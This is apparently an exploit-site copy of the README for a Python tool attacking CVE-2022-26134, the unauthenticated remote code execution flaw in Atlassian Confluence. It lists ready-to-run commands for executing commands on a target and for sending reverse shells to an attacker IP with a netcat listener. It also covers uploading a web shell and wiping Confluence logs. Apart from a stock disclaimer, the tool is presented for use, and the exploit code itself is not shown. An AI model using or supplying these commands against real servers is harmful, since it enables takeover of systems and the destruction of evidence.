## https://sploitus.com/exploit?id=A31ACFB8-97BB-5D62-B1BA-D8B1DFDF84A0
# CVE-2022-26134 - Atlassian Confluence OGNL Injection (RCE)
> ✅ **For educational purposes only. Do not use against systems you don't have explicit permission to test.**
---
## 📌 Description
This is a full-featured Python exploit for the critical **Unauthenticated Remote Code Execution (RCE)** vulnerability in **Atlassian Confluence**, identified as **CVE-2022-26134**.
It leverages an OGNL injection vulnerability to execute arbitrary system commands, establish reverse shells, upload files, clean logs, and more.
---
## 🚀 Features
>✅ Command Execution (OGNL RCE)
>✅ Interactive pseudo-shell
>✅ Reverse Shell (bash / python / mkfifo)
>✅ Auto-detect open outbound ports for reverse shell
>✅ File Upload (via base64 encoding)
>✅ Log Cleaning
>✅ Logging to `exploit_log.txt`
---
## 🧪 Tested On
- Confluence Server 7.3.5
- Python 3.x
- No authentication required
---
## ⚙️ Usage
```bash
python3 exploit.py [OPTIONS]
```
---
## 🔧 Options
| Option | Description |
|--------|-------------|
| `--cmd ''` | Run a single command |
| `--shell` | Start interactive RCE shell |
| `--reverse [method]` | Send reverse shell (method: bash / python / mkfifo) |
| `--autors ` | Auto-detect open port and send reverse shell |
| `--upload ` | Upload a file via base64 |
| `--cleanlogs` | Attempt to clean Confluence logs (basic) |
---
## 📥 Examples
### 🔹 Run a single command
```bash
python3 exploit.py http://10.201.92.3:8090 --cmd 'id'
```
---
### 🔹 Start interactive shell
```bash
python3 exploit.py http://10.201.92.3:8090 --shell
```
---
### 🔹 Send reverse shell (bash)
```bash
nc -lvnp 4444
python3 exploit.py http://10.201.92.3:8090 --reverse 10.10.14.99 4444 bash
```
---
### 🔹 Auto-detect outbound port & send shell
```bash
python3 exploit.py http://10.201.92.3:8090 --autors 10.10.14.99
```
---
### 🔹 Upload file to target
```bash
python3 exploit.py http://10.201.92.3:8090 --upload shell.php /tmp/shell.php
```
---
### 🔹 Clean logs
```bash
python3 exploit.py http://10.201.92.3:8090 --cleanlogs
```
---
## 📝 Output Logging
All executed commands and their results are automatically saved to:
```
exploit_log.txt
```
---
## 🔐 Disclaimer
This tool is provided **strictly for educational and authorized testing purposes**.
- Do **not** use against systems without explicit permission.
- The author is **not responsible** for any misuse or damage.
---
## 📖 References
- [CVE-2022-26134 Advisory](https://nvd.nist.gov/vuln/detail/CVE-2022-26134)
- [Atlassian Official Fix](https://confluence.atlassian.com/security/security-advisory-2022-06-02-1142446709.html)